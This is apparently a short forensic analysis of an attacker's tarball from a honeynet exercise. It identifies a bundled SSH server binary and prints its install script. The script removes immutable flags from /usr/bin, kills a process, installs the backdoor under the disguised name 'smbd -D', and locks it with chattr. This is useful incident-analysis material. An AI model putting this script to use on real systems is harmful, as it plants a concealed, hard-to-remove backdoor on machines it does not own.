Analyse of abc.tgz

tar tvzf abc.tgz
drwxr-xr-x root/root         0 2002-08-19 23:25:45 abc/
-rwxr-xr-x root/root       172 2002-08-19 23:24:55 abc/a
-rwxr-xr-x root/root    672527 2002-08-19 23:03:18 abc/nou

abc/nou

[kmaster@christophe sotm29]$ strings abc/nou |grep SSH
SSH-%d.%d-%.50s
SSH-%d.%d-%[^
SSH_ORIGINAL_COMMAND
SSH_CLIENT
SSH_TTY
SSH_AUTH_SOCK
* Remote error: Invalid SSH_AGENT_SOCKET_DIR '%.100s', it should contain at least one /.
SSH_AUTH_SOCK
SSH PRIVATE KEY FILE FORMAT 1.1

It's an SSH server.

abc/a

chmod +x nou
chattr -iau /usr /usr/bin/ /usr/bin/*
kill -9 `cat /usr/include/icepid.h`
mv nou /usr/bin/"smbd -D"
"smbd -D"
## telnet 0 10002
chattr +iau /usr/bin/"smbd -D"

Installation script for the SSH server